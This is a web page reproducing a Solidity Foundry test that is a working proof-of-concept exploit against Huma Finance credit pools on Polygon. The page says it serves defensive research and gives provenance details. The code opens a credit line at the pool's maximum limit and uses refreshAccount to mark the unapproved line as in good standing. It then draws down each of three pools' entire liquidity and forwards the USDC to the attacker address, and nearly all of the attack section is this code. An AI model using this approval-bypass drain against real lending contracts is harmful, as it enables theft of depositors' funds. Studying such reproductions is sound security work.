Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/HumaCreditApprovalBypass_exp.sol

Public reproduction file for dataset entry HumaFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/HumaCreditApprovalBypass_exp.sol100 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~101390 USDC
8// Attacker : 0x13B44e416e0f66359502E843AF2e1191f1260DaF
9// Attack Contract : 0x44d4a434ae1529106e4b801315e22721978022a3
10// Vulnerable Contract : 0x57107d02c2b70e09ad77240dbde7ad77fe91ea1c (Huma BaseCreditPool impl)
11// Attack Tx : https://polygonscan.com/tx/0x7b8d641d76affcc029fd0e0f06ab81ad675b1da21ef79b82e1343016040ba359
13// @Info
14// Vulnerable Contract Code : https://polygonscan.com/address/0x57107d02c2b70e09ad77240dbde7ad77fe91ea1c#code
16// @Analysis
17// Twitter Guy :
18//
19// Huma Finance credit pools gate large credit lines behind the Evaluation Agent's
20// approveCredit(). However both requestCredit() and refreshAccount() are open to anyone,
21// and BaseCreditPool._updateDueInfo() unconditionally sets a credit line to GoodStanding
22// when a billing period has passed and no payment is missed, without checking that the line
23// was ever EA-approved. So an attacker can: (1) requestCredit() with creditLimit up to the
24// pool's maxCreditLine (state = Requested), (2) refreshAccount() to flip the un-approved
25// line straight to GoodStanding, then (3) drawdown() the pool's entire liquidity. The PoC
26// drains three Polygon pools (one native-USDC, two USDC.e) for the test contract and
27// forwards the proceeds to the attacker EOA.
29interface IHumaCreditPool {
30 function requestCredit(uint256 creditLimit, uint256 intervalInDays, uint256 numOfPayments) external;
31 function refreshAccount(address borrower) external;
32 function drawdown(uint256 borrowAmount) external;
33 function poolConfig() external view returns (address);
36interface IHumaPoolConfig {
37 function maxCreditLine() external view returns (uint256);
40address constant ATTACKER = 0x13B44e416e0f66359502E843AF2e1191f1260DaF;
42IHumaCreditPool constant POOL_USDC = IHumaCreditPool(0x3EBc1f0644A69c565957EF7cEb5AEafE94Eb6FcE);
43IHumaCreditPool constant POOL_USDCE_A = IHumaCreditPool(0x95533e56f397152B0013A39586bC97309e9A00a7);
44IHumaCreditPool constant POOL_USDCE_B = IHumaCreditPool(0xe8926aDbFADb5DA91CD56A7d5aCC31AA3FDF47E5);
46IERC20 constant USDC_NATIVE = IERC20(0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359);
47IERC20 constant USDC_BRIDGED = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
49contract ContractTest is BaseTestWithBalanceLog {
50 function setUp() public {
51 uint256 forkBlock = 86_725_403;
52 vm.createSelectFork("polygon", forkBlock);
53 vm.label(address(POOL_USDC), "Huma USDC Pool");
54 vm.label(address(POOL_USDCE_A), "Huma USDC.e Pool A");
55 vm.label(address(POOL_USDCE_B), "Huma USDC.e Pool B");
56 vm.label(address(USDC_NATIVE), "USDC");
57 vm.label(address(USDC_BRIDGED), "USDC.e");
58 vm.label(ATTACKER, "Attacker");
59 }
61 function testExploit() public {
62 // step 0: snapshot attacker EOA balances of both stolen assets
63 uint256 usdcBefore = USDC_NATIVE.balanceOf(ATTACKER);
64 uint256 usdceBefore = USDC_BRIDGED.balanceOf(ATTACKER);
66 // step 1: drain each pool from a fresh, unprivileged borrower (this contract)
67 uint256 usdcDrained = drainPool(POOL_USDC, USDC_NATIVE);
68 uint256 usdceDrained = drainPool(POOL_USDCE_A, USDC_BRIDGED) + drainPool(POOL_USDCE_B, USDC_BRIDGED);
70 // step 2: forward proceeds to the attacker EOA, mirroring sweepToken in the real tx
71 USDC_NATIVE.transfer(ATTACKER, USDC_NATIVE.balanceOf(address(this)));
72 USDC_BRIDGED.transfer(ATTACKER, USDC_BRIDGED.balanceOf(address(this)));
74 uint256 usdcProfit = USDC_NATIVE.balanceOf(ATTACKER) - usdcBefore;
75 uint256 usdceProfit = USDC_BRIDGED.balanceOf(ATTACKER) - usdceBefore;
76 emit log_named_decimal_uint("Attacker USDC profit", usdcProfit, 6);
77 emit log_named_decimal_uint("Attacker USDC.e profit", usdceProfit, 6);
79 assertEq(usdcProfit, usdcDrained, "USDC profit forwarded");
80 assertEq(usdceProfit, usdceDrained, "USDC.e profit forwarded");
81 assertGt(usdcProfit, 80_000e6, "drained native USDC pool");
82 assertGt(usdceProfit, 18_000e6, "drained USDC.e pools");
83 }
85 // Self-grant a GoodStanding line, then borrow the pool's full liquidity.
86 function drainPool(IHumaCreditPool pool, IERC20 token) internal returns (uint256 drained) {
87 IHumaPoolConfig config = IHumaPoolConfig(pool.poolConfig());
89 // step 1a: open a credit line at the pool's max limit (state = Requested)
90 pool.requestCredit(config.maxCreditLine(), 1, 10);
91 // step 1b: refreshAccount flips the un-approved line to GoodStanding (no EA approval)
92 pool.refreshAccount(address(this));
94 // step 1c: borrow the entire balance the pool currently holds
95 uint256 available = token.balanceOf(address(pool));
96 uint256 balBefore = token.balanceOf(address(this));
97 pool.drawdown(available);
98 drained = token.balanceOf(address(this)) - balBefore;
99 }

Analysis

Dataset entry

Public Foundry test for “HumaFinance” (2026-05-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x13b44e416e0f66359502e843af2e1191f1260daf

  • Attack Contract

    0x44d4a434ae1529106e4b801315e22721978022a3

  • Vulnerable Contract

    0x57107d02c2b70e09ad77240dbde7ad77fe91ea1c

  • Attack Tx

    0x7b8d641d76affcc029fd0e0f06ab81ad675b1da21ef79b82e1343016040ba359

File record

Name
HumaFinance
Path
src/test/2026-05/HumaCreditApprovalBypass_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d872f4157772d8c9694cc2c24c4541876fca63bb
Language
Solidity
Size
101 lines
Date
2026-05-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/HumaCreditApprovalBypass_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d872f4157772d8c9694cc2c24c4541876fca63bb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.